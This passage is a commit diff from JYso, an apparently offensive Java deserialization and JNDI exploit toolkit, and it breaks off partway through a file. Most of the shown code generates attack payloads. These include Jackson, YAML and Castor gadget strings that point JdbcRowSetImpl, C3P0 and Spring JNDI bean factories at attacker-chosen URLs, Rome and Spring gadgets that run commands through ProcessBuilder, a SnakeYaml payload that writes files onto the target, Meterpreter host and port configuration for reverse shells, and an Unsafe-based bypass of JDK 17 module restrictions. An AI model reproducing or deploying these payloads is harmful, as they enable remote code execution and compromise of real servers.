return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java
+104 -108
View File
@@ -6,7 +6,10 @@ import com.cedarsoftware.util.io.JsonWriter;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.*;
import com.qi4l.JYso.gadgets.C3P0WrapperConnPool;
import com.qi4l.JYso.gadgets.SpringUtil;
import com.qi4l.JYso.gadgets.TemplatesUtil;
import com.qi4l.JYso.gadgets.UtilFactory;
import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
@@ -16,21 +19,22 @@ import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.*;
import java.util.concurrent.Callable;
import javax.xml.transform.Templates;
import static com.qi4l.JYso.gadgets.Config.Config.*;
public class Serializer implements Callable<byte[]> {
private final Object object;
public static Boolean globalinline = false;
private final Object object;
public Serializer(Object object) {
this.object = object;
@@ -101,21 +105,21 @@ public class Serializer implements Callable<byte[]> {
try (Output output = new Output(bos)) {
kryo.writeClassAndObject(output, obj);
}
if(BASE64){
if (BASE64) {
String base64String = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64String);
return;
}else{
} else {
System.out.println(bos);
return;
}
} else if (IS_JsonIO){
} else if (IS_JsonIO) {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
UtilFactory uf = new UtilFactory();
obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start"));
System.out.println(obj);
return;
}else if (payloadType.equals("Rome")){
} else if (payloadType.equals("Rome")) {
obj = makeRome(Command);
System.out.println(obj);
return;
@@ -123,23 +127,23 @@ public class Serializer implements Callable<byte[]> {
String jsonio = JsonWriter.objectToJson(obj);
System.out.println(jsonio);
return;
} else if (IS_YamlBeans){
obj = YamlBeansHandler(payloadType,Command);
} else if (IS_YamlBeans) {
obj = YamlBeansHandler(payloadType, Command);
System.out.println(obj);
return;
} else if (IS_JYAML) {
String payload = JYamlHandler(payloadType,Command);
String payload = JYamlHandler(payloadType, Command);
System.out.println(payload);
return;
} else if (IS_Castor) {
obj = CastorHandler(payloadType,Command);
obj = CastorHandler(payloadType, Command);
System.out.println(obj);
return;
}else if (IS_Jackson){
obj = JacksonHandler(payloadType,Command);
} else if (IS_Jackson) {
obj = JacksonHandler(payloadType, Command);
System.out.println(obj);
return;
}else {
} else {
if (BASE64) {
objOut = new SuObjectOutputStream(outB64);
} else {
@@ -159,10 +163,6 @@ public class Serializer implements Callable<byte[]> {
}
}
public byte[] call() throws Exception {
return serialize(object);
}
public static Object makeRome(String Command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {Command};
@@ -183,21 +183,21 @@ public class Serializer implements Callable<byte[]> {
return uf.makeHashCodeTrigger(root);
}
public static Object YamlBeansHandler(String payloadType, String command ) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
public static Object YamlBeansHandler(String payloadType, String command) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
globalinline = true;
if(payloadType.equals("C3P0WrapperConnPool")) {
if (payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
}else{
} else {
return null;
}
}
public static Object JacksonHandler(String payloadType, String command) throws Exception {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
String jndiUrl = command;
Map<String, String> values = new LinkedHashMap<>();
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
@@ -206,35 +206,34 @@ public class Serializer implements Callable<byte[]> {
HashSet.class.getName(),
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values),
writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP));
}else if (payloadType.equals("C3P0WrapperConnPool")){
} else if (payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeJackJsonObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]))));
}else if (payloadType.equals("SpringPropertyPathFactory")){
Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
} else if (payloadType.equals("SpringPropertyPathFactory")) {
Map<String, String> values = new LinkedHashMap<>();
String jndiUrl = command;
values.put("targetBeanName", quoteString(jndiUrl));
values.put("propertyPath", quoteString("foo"));
values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
return writeJackJsonObject(PropertyPathFactoryBean.class, values);
}else if (payloadType.equals("JdbcRowSet")){
} else if (payloadType.equals("JdbcRowSet")) {
Map<String, String> values = new LinkedHashMap<>();
values.put("dataSourceName", quoteString(command));
values.put("autoCommit", "true");
return writeJackJsonObject(JdbcRowSetImpl.class, values);
}else if (payloadType.equals("C3P0RefDataSource")){
} else if (payloadType.equals("C3P0RefDataSource")) {
Map<String, String> values = new LinkedHashMap<>();
values.put("jndiName", quoteString(command));
values.put("loginTimeout", "0");
return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values);
}else{
} else {
return null;
}
}
public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
if (payloadType.equals("JdbcRowSet")) {
Map<String, String> properties = new LinkedHashMap<>();
@@ -246,88 +245,36 @@ public class Serializer implements Callable<byte[]> {
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return writeObject(
WrapperConnectionPoolDataSource.class,
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]))));
Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]))));
} else if (payloadType.equals("C3P0RefDataSource")) {
Map<String, String> props = new LinkedHashMap<>();
props.put("jndiName", writeString(command));
props.put("loginTimeout", "0");
return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props);
}
else {
} else {
return null;
}
}
public static Object CastorHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){
if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) {
String jndiName = command;
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"java:org.springframework.beans.factory.config.PropertyPathFactoryBean\">"
+ "<target-bean-name>" + jndiName + "</target-bean-name><property-path>foo</property-path>"
+ "<bean-factory xsi:type=\"java:org.springframework.jndi.support.SimpleJndiBeanFactory\">" + "<shareable-resource>" + jndiName
+ "</shareable-resource></bean-factory></x>";
}else if (payloadType.equals("C3P0WrapperConnPool")){
} else if (payloadType.equals("C3P0WrapperConnPool")) {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return "<x xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
+ "xmlns:java=\"http://java.sun.com\" xsi:type=\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\" "
+ "user-overrides-as-string=\"" + C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]) + "\"/>";
}else{
+ "user-overrides-as-string=\"" + C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]) + "\"/>";
} else {
return null;
}
}
public static class SuObjectOutputStream extends ObjectOutputStream {
public SuObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeStreamHeader() throws IOException {
super.writeStreamHeader();
try {
// 写入
for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) {
Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET});
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
if ( serializer instanceof WriteReplaceSerializer ) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
protected static String writeObject(Class<?> clazz, Map<String, String> properties, String... consArgs) {
return writeObject(clazz.getName(), properties, consArgs);
}
@@ -359,7 +306,6 @@ public class Serializer implements Callable<byte[]> {
return sb.toString();
}
protected static String writeConstructor(Class<?> clazz, boolean inline, String... args) {
return writeConstructor(clazz.getName(), inline, args);
}
@@ -371,8 +317,8 @@ public class Serializer implements Callable<byte[]> {
return sb.toString();
}
protected static String constructorPrefix ( boolean inline ) {
if ( !inline ) {
protected static String constructorPrefix(boolean inline) {
if (!inline) {
return "foo: !";
}
return "!";
@@ -382,21 +328,21 @@ public class Serializer implements Callable<byte[]> {
return '"' + string + '"';
}
public static String writeJackJsonObject( Class<?> clazz, Map<String, String> values ) {
public static String writeJackJsonObject(Class<?> clazz, Map<String, String> values) {
return writeJackJsonObject(clazz.getName(), values);
}
public static String writeJackJsonObject ( String type, Map<String, String> properties ) {
public static String writeJackJsonObject(String type, Map<String, String> properties) {
StringBuilder sb = new StringBuilder();
sb.append('[');
sb.append('"').append(type).append('"');
sb.append(',');
sb.append('{');
boolean first = true;
for ( Map.Entry<String, String> e : properties.entrySet() ) {
if ( !first ) {
for (Map.Entry<String, String> e : properties.entrySet()) {
if (!first) {
sb.append(',');
}
else {
} else {
first = false;
}
writeProperty(sb, e.getKey(), e.getValue());
@@ -406,13 +352,13 @@ public class Serializer implements Callable<byte[]> {
return sb.toString();
}
public static void writeProperty ( StringBuilder sb, String key, String value ) {
public static void writeProperty(StringBuilder sb, String key, String value) {
sb.append('"').append(key).append('"');
sb.append(':');
sb.append(value);
}
public static String writeCollection ( String type, String... values ) {
public static String writeCollection(String type, String... values) {
StringBuilder sb = new StringBuilder();
sb.append('[');
sb.append('"').append(type).append('"');
@@ -425,11 +371,10 @@ public class Serializer implements Callable<byte[]> {
public static void arrayHandler(StringBuilder sb, String[] values) {
sb.append('[');
boolean first = true;
for ( String val : values ) {
if ( !first ) {
for (String val : values) {
if (!first) {
sb.append(',');
}
else {
} else {
first = false;
}
sb.append(val);
@@ -437,20 +382,71 @@ public class Serializer implements Callable<byte[]> {
sb.append(']');
}
public static String makeSpringJndiBeanFactory ( String jndiUrl ) {
public static String makeSpringJndiBeanFactory(String jndiUrl) {
return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl))));
}
public static String quoteString ( String string ) {
public static String quoteString(String string) {
return '"' + string + '"';
}
public static String writeArray ( String... elements ) {
public static String writeArray(String... elements) {
StringBuilder sb = new StringBuilder();
arrayHandler(sb, elements);
return sb.toString();
}
public byte[] call() throws Exception {
return serialize(object);
}
public static class SuObjectOutputStream extends ObjectOutputStream {
public SuObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeStreamHeader() throws IOException {
super.writeStreamHeader();
try {
// 写入
for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) {
Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET});
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException {
com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
if (serializer instanceof WriteReplaceSerializer) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java
-60
View File
@@ -1,60 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import java.io.*;
import java.util.zip.Deflater;
import static com.qi4l.JYso.gadgets.utils.Util.base64Encode;
/**
* SnakeYaml 写入 Jar 包 poc 生成工具类
*
* @author QI4L
*/
public class SnakeYamlUtils {
public static String createPoC(String srcPath, String destPath) throws Exception {
File file = new File(srcPath);
long FileLength = file.length();
byte[] FileContent = new byte[(int) FileLength];
try {
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}
byte[] compressBytes = compress(FileContent);
return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + base64Encode(compressBytes) + " },1048576]]";
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java
+4 -1
View File
@@ -1,6 +1,9 @@
package com.qi4l.JYso.gadgets.utils;
import java.util.*;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class StringUtil {
src/main/java/com/qi4l/JYso/gadgets/utils/Util.java
-181
View File
@@ -1,181 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Random;
public class Util {
public static String getRandomString() {
String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 10; i++) {
char ch = str.charAt(new Random().nextInt(str.length()));
sb.append(ch);
}
return sb.toString();
}
public static String getClassCode(Class clazz) throws Exception {
byte[] bytes = null;
if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) {
bytes = ClassByteChange.update(Meterpreter.class);
} else {
bytes = getClassBytes(clazz);
}
String result = Util.base64Encode(bytes);
return result;
}
public static String getClassType(byte[] bytes) throws Exception {
String result = Util.base64Encode(bytes);
return result;
}
public static byte[] getClassBytes(Class clazz) throws Exception {
String className = clazz.getName();
String resoucePath = className.replaceAll("\\.", "/") + ".class";
InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath);
byte[] bytes = new byte[1024];
ByteArrayOutputStream baous = new ByteArrayOutputStream();
int len = 0;
while ((len = in.read(bytes)) != -1) {
baous.write(bytes, 0, len);
}
in.close();
baous.close();
return baous.toByteArray();
}
public static String base64Encode(byte[] bytes) throws Exception {
String result;
try {
Class clazz = Class.forName("java.util.Base64");
Method method = clazz.getDeclaredMethod("getEncoder");
Object obj = method.invoke(null);
method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class);
obj = method.invoke(obj, bytes);
result = (String) obj;
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("sun.misc.BASE64Encoder");
Method method = clazz.getMethod("encodeBuffer", byte[].class);
Object obj = method.invoke(clazz.newInstance(), bytes);
result = (String) obj;
result = result.replaceAll("\r|\n|\r\n", "");
}
return result;
}
public static byte[] base64Decode(String str) throws Exception {
byte[] bytes;
try {
Class clazz = java.lang.Class.forName("java.util.Base64");
Method method = clazz.getDeclaredMethod("getDecoder");
Object obj = method.invoke(null);
method = obj.getClass().getDeclaredMethod("decode", String.class);
obj = method.invoke(obj, str);
bytes = (byte[]) obj;
} catch (ClassNotFoundException e) {
Class clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
Method method = clazz.getMethod("decodeBuffer", String.class);
Object obj = method.invoke(clazz.newInstance(), str);
bytes = (byte[]) obj;
}
return bytes;
}
public static String shellBase64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>) null).invoke(base64, (Object) null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception ignored) {
}
}
return new String(value);
}
public static byte[] serialize(Object ref) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(ref);
return out.toByteArray();
}
public static String getCmdFromBase(String base) throws Exception {
int firstIndex = base.lastIndexOf("/");
String cmd = base.substring(firstIndex + 1);
int secondIndex = base.lastIndexOf("/", firstIndex - 1);
if (secondIndex < 0) {
secondIndex = 0;
}
if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) {
byte[] bytes = Util.base64Decode(cmd);
cmd = new String(bytes);
}
return cmd;
}
public static String[] getIPAndPortFromBase(String base) throws NumberFormatException {
int firstIndex = base.lastIndexOf("/");
String port = base.substring(firstIndex + 1);
int secondIndex = base.lastIndexOf("/", firstIndex - 1);
if (secondIndex < 0) {
secondIndex = 0;
}
String ip = base.substring(secondIndex + 1, firstIndex);
return new String[]{ip, Integer.parseInt(port) + ""};
}
public static Class<Meterpreter> getMeterpreter(Class<Meterpreter> clazz, String host, String port) throws NoSuchFieldException, IllegalAccessException {
Field hostField = clazz.getField("host");
// hostField.setAccessible(true);
Field portField = clazz.getField("port");
// portField.setAccessible(true);
hostField.set(null, host);
portField.set(null, port);
return clazz;
}
public static boolean isHave(String[] strs, String s) {
/*此方法有两个参数，第一个是要查找的字符串数组，第二个是要查找的字符或字符串*/
int i = strs.length;
while (i-- > 0) {
if (strs[i] == s) {
return true;
}
}
return false;
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java
+149 -18
View File
@@ -1,5 +1,6 @@
package com.qi4l.JYso.gadgets.utils;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import javassist.CannotCompileException;
import javassist.ClassPool;
@@ -7,12 +8,12 @@ import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang.StringUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Random;
import java.util.zip.Deflater;
import java.util.zip.GZIPOutputStream;
import static com.qi4l.JYso.gadgets.Config.Config.*;
@@ -22,10 +23,10 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
public class Utils {
public static Class makeClass(String clazzName) {
public static Class<?> makeClass(String clazzName) {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = null;
Class<?> clazz;
try {
clazz = ctClass.toClass();
} catch (CannotCompileException e) {
@@ -36,16 +37,15 @@ public class Utils {
}
public static String[] handlerCommand(String command) {
String info = command.split("[-]")[1];
String info = command.split("-")[1];
int index = info.indexOf("#");
String par1 = info.substring(0, index);
String par2 = info.substring(index + 1);
return new String[]{par1, par2};
}
public static String base64Decode(String bs) throws Exception {
Class base64;
Class<?> base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
@@ -60,8 +60,11 @@ public class Utils {
}
}
if (value != null) {
return new String(value);
}
return bs;
}
public static void saveCtClassToFile(CtClass ctClass) throws Exception {
// 总体在进行类字节码的缩短
@@ -82,12 +85,12 @@ public class Utils {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
Class<?> clazz = (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
try {
clazz.newInstance();
} catch (Exception ignored) {
Class unsafe = Class.forName("sun.misc.Unsafe");
Class<?> unsafe = Class.forName("sun.misc.Unsafe");
Field theUnsafeField = unsafe.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Object unsafeObject = theUnsafeField.get(null);
@@ -117,22 +120,22 @@ public class Utils {
String b64 = Base64.encodeBase64String(outBuf.toByteArray());
// 如果 b64 的长度比较大，则将其切分为多个字符串进行拼接，避免单个字符串过长
String code = "";
StringBuilder code = new StringBuilder();
if (b64.length() > 60000) {
String[] arrays = splitString(b64, 60000);
for (int i = 0; i < arrays.length; i++) {
if (i == 0) {
code += "b64=\"" + arrays[0] + "\";\n";
code.append("b64=\"").append(arrays[0]).append("\";\n");
} else {
code += "b64 +=\"" + arrays[i] + "\";\n";
code.append("b64 +=\"").append(arrays[i]).append("\";\n");
}
}
} else {
code += "b64=\"" + b64 + "\";\n";
code.append("b64=\"").append(b64).append("\";\n");
}
// 将赋值的代码插入到 ClassLoaderTemplate 中
insertMethod(ctClass, "initClassBytes", code);
insertMethod(ctClass, "initClassBytes", code.toString());
return ctClass;
}
@@ -166,8 +169,8 @@ public class Utils {
return result;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
public static String base64Encode(byte[] bs) {
Class<?> base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
@@ -178,11 +181,139 @@ public class Utils {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
} catch (Exception ignored) {
}
}
return value;
}
public static String getRandomString() {
String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 10; i++) {
char ch = str.charAt(new Random().nextInt(str.length()));
sb.append(ch);
}
return sb.toString();
}
public static String getClassCode(Class<?> clazz) throws Exception {
byte[] bytes;
if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) {
bytes = ClassByteChange.update(Meterpreter.class);
} else {
bytes = getClassBytes(clazz);
}
return base64Encode(bytes);
}
public static byte[] getClassBytes(Class<?> clazz) throws Exception {
String className = clazz.getName();
String resourcePath = className.replaceAll("\\.", "/") + ".class";
InputStream in = Utils.class.getProtectionDomain().getClassLoader().getResourceAsStream(resourcePath);
if (in != null) {
return getBytes(in);
}
return new byte[0];
}
static byte[] getBytes(InputStream in) throws IOException {
byte[] bytes = new byte[1024];
ByteArrayOutputStream bayous = new ByteArrayOutputStream();
int len;
while ((len = in.read(bytes)) != -1) {
bayous.write(bytes, 0, len);
}
in.close();
bayous.close();
return bayous.toByteArray();
}
public static byte[] serialize(Object ref) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(ref);
return out.toByteArray();
}
public static String getCmdFromBase(String base) throws Exception {
int firstIndex = base.lastIndexOf("/");
String cmd = base.substring(firstIndex + 1);
int secondIndex = base.lastIndexOf("/", firstIndex - 1);
if (secondIndex < 0) {
secondIndex = 0;
}
if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) {
byte[] bytes = base64Decode(cmd).getBytes();
cmd = new String(bytes);
}
return cmd;
}
public static String[] getIPAndPortFromBase(String base) throws NumberFormatException {
int firstIndex = base.lastIndexOf("/");
String port = base.substring(firstIndex + 1);
int secondIndex = base.lastIndexOf("/", firstIndex - 1);
if (secondIndex < 0) {
secondIndex = 0;
}
String ip = base.substring(secondIndex + 1, firstIndex);
return new String[]{ip, Integer.parseInt(port) + ""};
}
public static String createPoC(String srcPath, String destPath) throws Exception {
File file = new File(srcPath);
long FileLength = file.length();
byte[] FileContent = new byte[(int) FileLength];
try {
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}
byte[] compressBytes = compress(FileContent);
return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + Utils.base64Encode(compressBytes) + " },1048576]]";
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java
+4 -6
View File
@@ -15,16 +15,14 @@ public class RandomString {
* 26个小写字母
*/
public static final String lower = upper.toLowerCase(Locale.ROOT);
/**
* 数字
*/
public static final String digits = "0123456789";
/**
* alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成
*/
public static final String digits = "0123456789";
public static final String alphanum = upper + lower + digits;
/**
* 数字
*/
private final Random random;
src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java
+14 -14
View File
@@ -32,6 +32,20 @@ public class jdk17Bypass {
return unsafe;
}
public static void patchModule(Class clazz, Class goalclass) {
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, ObjectModule);
} catch (Exception e) {
}
}
public void bypassModule(ArrayList<Class> classes) {
try {
Unsafe unsafe = getUnsafe();
@@ -50,18 +64,4 @@ public class jdk17Bypass {
e.printStackTrace();
}
}
public static void patchModule(Class clazz, Class goalclass) {
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, ObjectModule);
} catch (Exception e) {
}
}
}
src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java
+5 -5
View File
File diff suppressed because one or more lines are too long
src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java
+2 -2
View File
@@ -33,7 +33,7 @@ public class AgentNoFileForLinux {
if (unsafe == null) {
try {
Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
Class<?> gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
@@ -43,7 +43,7 @@ public class AgentNoFileForLinux {
if (unsafe == null) {
try {
